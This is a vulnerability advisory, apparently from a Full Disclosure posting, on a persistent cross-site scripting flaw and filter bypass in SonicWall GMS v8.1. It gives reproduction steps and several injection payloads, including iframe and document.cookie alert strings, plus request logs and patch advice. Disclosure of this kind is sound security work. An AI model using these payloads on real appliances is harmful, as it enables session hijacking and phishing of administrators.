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[FD] SonicWall GMS v8.1 - Filter Bypass & Persistent Vulnerability

Document Title:
===============
SonicWall GMS v8.1 - Filter Bypass & Persistent Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1819

Release Notes: 
http://documents.software.dell.com/sonicwall-gms-os/8.2/release-notes/known-issues?ParentProduct=867




Release Date:
=============
2018-01-12


Vulnerability Laboratory ID (VL-ID):
====================================
1819


Common Vulnerability Scoring System:
====================================
4.1


Vulnerability Class:
====================
Multiple


Current Estimated Price:
========================
1.000€ - 2.000€


Product & Service Introduction:
===============================
Dell SonicWALL`s management and reporting solutions provide a comprehensive 
architecture for centrally creating and managing 
security policies, providing real-time monitoring and alerts, and delivering 
intuitive compliance and usage reports, all from 
a single management interface. Whether your organization is a small- or 
medium-sized business, a distributed enterprise or a 
managed service provider, Dell™ SonicWALL™ offers software and appliance 
solutions to meet its needs.

The award-winning Dell SonicWALL Global Management System (GMS) provides 
organizations, distributed enterprises and service 
providers with a flexible, powerful and intuitive solution to centrally manage 
and rapidly deploy SonicWALL firewall, anti-spam, 
backup and recovery, and secure remote access solutions. Flexibly deployed as 
software, hardware—in the form of the Universal 
Management Appliance (UMA)—or a virtual appliance, SonicWALL GMS also provides 
centralized real-time monitoring and comprehensive 
policy and compliance reporting to drive down the cost of owning and managing 
SonicWALL security appliances.  Multiple GMS 
software, hardware, and virtual appliance agents, when deployed in a cluster, 
can scale to manage thousands of SonicWALL 
security appliances. This makes GMS an ideal solution for small- to 
medium-sized businesses, enterprises and managed service 
providers that have either single-site or distributed multi-site environments.

(Copy of the Vendor Homepage: 
http://www.sonicwall.com/emea/en/products/Centralized_Management_Reporting.html 
)


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Core Research Team discovered filter bypass and an 
application-side input validation vulnerability in the official SonicWall GMS 
v8.1 appliance web-application.


Vulnerability Disclosure Timeline:
==================================
2018-01-12: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
DELL SonicWall
Product: SonicWall GMS Networks Appliance Application 8.1 (VA)


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A persistent web vulnerability and filter bypass issue has been discovered in 
the SonicWall GMS v8.1 appliance web-application.
The application-side vulnerability allows remote attacker or privileged user 
accounts to inject own malicious persistent script codes
to the sonicwall gms appliance web-application. The filter bypass issue allows 
an attacker to bypass the basic application validation.

The vulnerability is located in the `newName` and `Name` values of the 
`/sgms/TreeControl` module POST method request. Attackers are 
able to inject own payloads as name in the firewall device name listing to 
compromise session data or the java module. The method to 
inject is POST and the attack vector is located on the application-side of the 
sonicwall gms appliance web-application. 

The basic fitler validation of the gms appliance web-application encodes basic 
strings like frames and other tags by a restriction of 
privileges on execution of for example iframes. Remote attackers can bypass the 
validation by usage of a double path value with double 
quotes. The way to bypass is very unique to the basic configuration of the 
appliance web-application.

The security risk of the persistent vulnerability is estimated as medium with a 
cvss (common vulnerability scoring system) count of 4.1. 
Exploitation of the persistent web vulnerability requires a low privileged 
account with restricted access and low user interaction. 
Successful exploitation of the vulnerabilities results in persistent phishing 
mails, session hijacking, persistent external redirect 
to malicious sources and application-side manipulation of affected or connected 
module context.

Request Method(s):
[+] POST

Vulnerable Section(s):
[+] Firewall (Device List)                      

Affected Module(s):
[+] ./sgms/TreeControl                          

Vulnerable Parameter(s):
[+] newName
[+] name


Proof of Concept (PoC):
=======================
The filter bypass issue and persistent vulnerability can be exploited by remote 
attackers with low privileged user account and low user interaction.
For security demonstration or to reproduce the vulnerability follow the 
provided information and steps below to continue.

Manual steps to reproduce the vulnerability ...
1. Login to the gms 8.x appliance web-application
2. Click on top the firewall module in the menu
3. Surf to the firewall device listing
4. Change the input name to a script code payload
5. Save the entry
6. Now the no privleges exception occurs, refresh
7. The code executes in the firewall device listing
8. Successful reproduce of the vulnerability!


PoC: Payload(s)
">"<iframe src=http://vuln-lab.com>
">"<img src=http://vuln-lab.com/test.png>
">"<script>alert(document.cookie)</script>
">"<body onload=alert(document.domain)"<" 

Note: Above are the payloads to bypass the basic gms firewall list input 
validation and privileges module!


--- PoC Session Logs [POST] ---
Status: 200[OK]
POST http://gms.cluster.localhost:6491/sgms/TreeControl 
Mime Type[text/plain]
   Request Header:
      Host[gms.cluster.localhost:6491]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 
Firefox/45.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Content-Type[application/x-www-form-urlencoded; charset=UTF-8]
      X-Requested-With[XMLHttpRequest]
      
Referer[http://gms.cluster.localhost:6491/sgms/mainPage?page=simpletreecontrol&screenID=null]
      Content-Length[178]
      Cookie[JSESSIONID=E9D260050413E929B92A9FCD4102BFC9; 
SSOSESSIONID=E9D260050413E929B92A9FCD4102BFC9]
      Connection[keep-alive]
   POST-Daten:
      action[renameUnit]
      oldName[TZ%20190W]
      newName[%22%3E%22%3Ciframe%20src%3Dhttp%3A%2F%2Fvuln-lab.com%3E]
      renameNodeID[UT14236049472640040102377D2]
      domainID[DMN0000000000000000000000001]
   Response Header:
      Server[Apache-Coyote/1.1]
      Cache-Control[no-cache]
      Content-Type[text/plain]
      Content-Length[70]
-
Status: 200[OK] 
GET http://www.vulnerability-lab.com/ 
Mime Type[unknown]
   Request Header:
      Host[www.vulnerability-lab.com]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 
Firefox/45.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      
Referer[http://gms.cluster.localhost:6491/sgms/mainPage?page=simpletreecontrol&screenID=null]
      Cookie[PHPSESSID=5c08hec3147u8g3a5e86ib15r3]
-
Status: 200[OK] 
POST 
http://gms.cluster.localhost:6491/sgms/TreeControl?action=getTreeData&format=json&includeNetMonitorUnits=0&saveViewID=1&doNotUpdateSessionInfo=true&_dc=1460132509332
 
Mime Type[application/json]
   Request Header:
      Host[gms.cluster.localhost:6491]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 
Firefox/45.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Content-Type[application/json]
      X-Requested-With[XMLHttpRequest]
      
Referer[http://gms.cluster.localhost:6491/sgms/mainPage?page=simpletreecontrol&screenID=null]
      Content-Length[83]
      Cookie[JSESSIONID=E9D260050413E929B92A9FCD4102BFC9; 
SSOSESSIONID=E9D260050413E929B92A9FCD4102BFC9]
      Connection[keep-alive]
   POST-Daten:
      {"name":"">"<iframe 
src=http://vuln-lab.com>","id":"UT14236049472640040102377D2"}]
   Response Header:
      Server[Apache-Coyote/1.1]
      Cache-Control[no-cache]
      Content-Type[application/json]
      Transfer-Encoding[chunked]
-
Status: 200[OK]
GET http://vuln-lab.com/ 
Mime Type[unknown]
   Request Header:
      Host[vuln-lab.com]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 
Firefox/45.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      
Referer[http://gms.cluster.localhost:6491/sgms/mainPage?page=simpletreecontrol&screenID=null]


Reference(s):
http://gms.localhost:6491/
http://gms.localhost:6491/sgms/
http://gms.localhost:6491/sgms/mainPage
http://gms.localhost:6491/sgms/TreeControl


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a sanitize of the vulnerable firewall list 
name input. Restrict the input fields and disallow 
the usage of special chars. Deny to perform requests in the java frames with 
another java frame or script code. Parse the vulnerable 
output values in the list after saving. Implement a more secure 
exception-handling that logout the user on malicious interaction with 
the firewall. The code can also be injected with a non administrator account 
without write permission. Ensure that this config is get 
reset as well.

The vulnerability got patched by the sonicwall developer team during the 
intragtion process of the 31th october 2016 and was finally 
resolved 2017 Q1 (v8.2). Please update your gms appliance web-application via 
service update or by manual interaction to prevent attacks.


Security Risk:
==============
The security risk of the persistent input validation vulnerability and filter 
bypass issue is estimated as medium. (CVSS 4.1)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri 
[https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.] 
[www.vulnerability-lab.com]


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=========================
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